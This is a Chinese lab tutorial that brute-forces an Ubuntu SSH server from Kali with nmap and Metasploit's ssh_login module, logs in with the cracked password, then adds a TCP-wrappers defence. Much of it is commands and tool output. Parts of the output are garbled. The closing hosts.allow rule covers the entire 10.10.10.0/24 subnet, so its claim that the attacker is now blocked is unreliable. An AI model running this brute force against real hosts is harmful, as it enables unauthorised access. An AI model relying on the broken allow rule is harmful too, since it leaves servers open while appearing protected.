# 破解Ubuntu Linux SSH服务

# 实验环境

Ubuntu 10.10.10.14/24

```
root@wei:~# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group defaul
t qlen 1000
    link/loopback 00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKN
OWN group default qlen 1000
    link/ether 00:0c:29:1d:1e:33 brd ff:ff:ff:ff
    inet 10.10.10.14/24 brd 10.10.10.255 scope global dynamic ens33
        valid_lft 1387sec preferred_lft 1387sec
    inet6 fe80::f2e3:fd09:aed:4187/64 scope link
        valid_lft forever preferred_lft forever
```

Kali 10.10.10.15/24

```
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
   inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever

2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 1000 link/ether 00:0c:29:f6:db:a8 brd ff:ff:ff:fff inet 10.10.10.15/24 brd 10.10.10.255 scope global dynamic noprefixroute eth0 valid_lft 1344sec preferred_lft 1344sec inet6 fe80::20c:29ff:fef6:dba8/64 scope link noprefixroute valid_lft forever preferred_lft forever
```

# 破解步骤

1.加载Kali-Linux虚拟机,利用Nmap对目标10.10.10.14进行端口扫描

nmap -v -A -Pn 10.10.10.14

```
/ -A -Pn 10.10.10.14
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times wi
Starting Nmap 7.91 ( https://nmap.org ) at 2023-10-30 13:46 CST
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 13:46
Completed NSE at 13:46, 0.00s elapsed
Initiating NSE at 13:46
Completed NSE at 13:46, 0.00s elapsed
Initiating NSE at 13:46
Completed NSE at 13:46, 0.00s elapsed
Initiating ARP Ping Scan at 13:46
Scanning 10.10.10.14 [1 port]
Completed ARP Ping Scan at 13:46, 0.09s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 13:46
Completed Parallel DNS resolution of 1 host. at 13:46, 2.04s elapsed
Initiating SYN Stealth Scan at 13:46
Scanning 10.10.10.14 [1000 ports]
Discovered open port 22/tcp on 10.10.10.14
Completed SYN Stealth Scan at 13:46, 0.10s elapsed (1000 total ports)
Initiating Service scan at 13:46
Scanning 1 service on 10.10.10.14
Completed Service scan at 13:46, 0.01s elapsed (1 service on 1 host)
Initiating OS detection (try #1) against 10.10.10.14
NSE: Script scanning 10.10.10.14.
Initiating NSE at 13:46
Completed NSE at 13:46, 0.06s elapsed
Initiating NSE at 13:46
Completed NSE at 13:46, 0.00s elapsed
Initiating NSE at 13:46
Completed NSE at 13:46, 0.00s elapsed
Nmap scan report for 10.10.10.14
Host is up (0.00070s latency).
Not shown: 999 closed ports
PORT STATE SERVICE VERSION
                     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
22/tcp open ssh
  ssh-hostkey:
    2048 d7:43:a8:1b:96:e5:9c:c7:db:3e:af:06:f4:4c:5d:56 (RSA)
    256 fb:55:bd:47:8f:d4:ad:97:f8:3e:55:e9:82:e9:40:05 (ECDSA)
    256 88:b4:e2:39:9d:cb:99:f2:77:c0:60:ba:2d:fa:44:d3 (ED25519)
MAC Address: 00:0C:29:1D:1E:33 (VMware)
Device type: general purpose
Running: Linux 4.X 5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Uptime guess: 26.605 days (since Tue Oct 3 23:14:58 2023)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=256 (Good luck!)
```

2.打开另一个新的命令窗口,输入ssh 用户名@IP地址,任意输入密码,提示访问被阻止。多次尝试,账户不会被锁定,满足暴力破解条件

3.使用Metasploit中的ssh\_login模块进行破解,打开Kali系统终端,输入msfconsole

### 4.输入search ssh login,搜索ssh login,显示搜索到ssh login模块

| msf6             | > search ssh_login                     | ì                                       |          |         |                              |
|------------------|--|---|----------|---------|------------------------------|
| Matching Modules |  |   |          |         |                              |
|                  | // · · · · · · · · · · · · · · · · · · |   |          |         |                              |
| #                | Name                                   | Disclosure Date                         | Rank     | Check   | Description                  |
| _                |  | ( ( ) ( ( ) ( ( ) ) ( ( ) ) ( ) ( ) ( ) | WLOAD II | Payload | To Be Used                   |
| 0                | auxiliary/scanner/ssh/ssh_login        |   | normal   | No      | SSH Login Check Scanner      |
| 1                | auxiliary/scanner/ssh/ssh_login_pubkey |   | normal   | No      | SSH Public Key Login Scanner |

### 5.输入use auxiliary/scanner/ssh/ssh\_login,加载ssh\_login模块

```
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(scanner/ssh/ssh_login) >
```

### 6.输入show options,显示ssh\_login模块参数

RHOSTS:目标主机IP地址

PASS\_FILE:暴力破解密码字典存放路径

USERNAME:指定暴力破解使用的用户名

STOP\_ON\_SUCCESS:设置破解出密码后立即停止暴力破解

```
msf6 auxiliary(
                                               login) > show options
Module options (auxiliary/scanner/ssh/ssh_login):
                                Current Setting Required Description
    BLANK_PASSWORDS
                                                                        Try blank passwords for all users
                                                                        How fast to bruteforce, from 0 to 5
Try each user/password couple stored in the current database
Add all passwords in the current database to the list
    BRUTEFORCE_SPEED
                               5
false
                                                         no
    DB_ALL_CREDS
DB_ALL_PASS
                                                                       Add all users in the current database to the list
A specific password to authenticate with
File containing passwords, one per line
The target host(s), range CIDR identifier, or hosts file with synta
    DB_ALL_USERS
                                false
    PASSWORD
    PASS_FILE
    RHOSTS
                                                                         The target port
    STOP ON SUCCESS
                                                                        Stop guessing when a credential works for a host
The number of concurrent threads (max one per host)
A specific username to authenticate as
                                false
    THREADS
                                                         yes
no
    USERPASS_FILE
                                                                        File containing users and passwords separated by space, one pair pe
   line
    USER_AS_PASS
                                                                         Try the username as the password for all users
                                                                        File containing usernames, one per line
Whether to print output for all attempts
    USER_FILE
    VERBOSE
                                false
                                                         ves
```

#### 7.设置暴力破解目标主机的相关参数

```
msf6 auxiliary(scanner/ssh/ssh_login) > set rhosts 10.10.10.14
rhosts ⇒ 10.10.10.14
msf6 auxiliary(scanner/ssh/ssh_login) > set pass_file /tmp/pass.txt
pass_file ⇒ /tmp/pass.txt
msf6 auxiliary(scanner/ssh/ssh_login) > set stop_on_success true
stop_on_success ⇒ true
msf6 auxiliary(scanner/ssh/ssh_login) > set username
username ⇒ wuyun
msf6 auxiliary(scanner/ssh/ssh_login) > exploit
```

8.成功获取密码,且破解出用户的UID GID 属于哪些组、操作系统的发行版本号和内核版本号

9.打开终端输入ssh 用户名@IP地址,并输入破解的密码,登录服务器

```
(ali)-[~/桌面]
       0
            @10.10.10.14
    @10.10.10.14's password:
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-142-generic x86_64)
* Documentation:
                  https://help.ubuntu.com
                  https://landscape.canonical.com
* Management:
                  https://ubuntu.com/advantage
* Support:
83 个可升级软件包。
2 个安全更新。
New release '18.04.6 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
Last login: Mon Oct 30 13:48:54 2023 from 10.10.10.15
        :~$
```

#### 10.输入命令, 查看服务器相关信息

ls -l

```
2022 examples.desktop
8980 9月
4096 9月
          8
             2022 公共的
             2022 模板
4096 9月
          8
4096 9月
          8
             2022 视频
4096 9月
          8
             2022 图片
4096 9月
          8
             2022 文档
4096 9月
          8
             2022 下载
4096 9月
          8
             2022 音乐
             2022 桌面
4096 9月
          8
```

# 添加Tcp\_wrappers防御

#### 1.修改/etc/hosts.allow文件

#### 修改/etc/hosts.deny

## 2.允许10.10.10.14的计算机登录SSH服务器,禁止10.10.10.15的计算机登录SSH 服务器

编辑文件/etc/hosts.allow,允许10.10.10.14的计算机登录Linux服务器

```
# /etc/hosts.allow: list of hosts that are allowed to access the system.
# See the manual pages hosts_access(5) and hosts_options(5).
#
# Example: ALL: LOCAL @some_netgroup
# ALL: .foobar.edu EXCEPT terminalserver.foobar.edu
#
# If you're going to protect the portmapper use the name "rpcbind" for the # daemon name. See rpcbind(8) and rpc.mountd(8) for further information.
#
sshd:10.10.10.14/255.255.255.0
```

编辑文件/etc/hosts.deny,禁止10.10.10.15的计算机登录Linux服务器

```
/etc/hosts.deny: list of hosts that are _not_ allowed to access the system.
#
                   See the manual pages hosts_access(5) and hosts_options(5).
#
 Example:
              ALL: some.host.name, .some.domain
              ALL EXCEPT in.fingerd: other.host.name, .other.domain
# If you're going to protect the portmapper use the name "rpcbind" for the
# daemon name. See rpcbind(8) and rpc.mountd(8) for further information.
# The PARANOID wildcard matches any host whose name does not match its
# address.
# You may wish to enable this to ensure any programs that don't
# validate looked up hostnames still leave understandable logs. In past
# versions of Debian this has been the default.
# ALL: PARANOID
sshd:10.10.10.15/255.255.255.0
```

编辑文件/etc/hosts.allow 和 /etc/hosts.deny完成后,需要重新启动SSHD服务

vim /etc/hosts.allow
vim /etc/hosts.deny
service sshd restart

在客户端Kali使用exploit开始攻击,不能获取SSH服务器的密码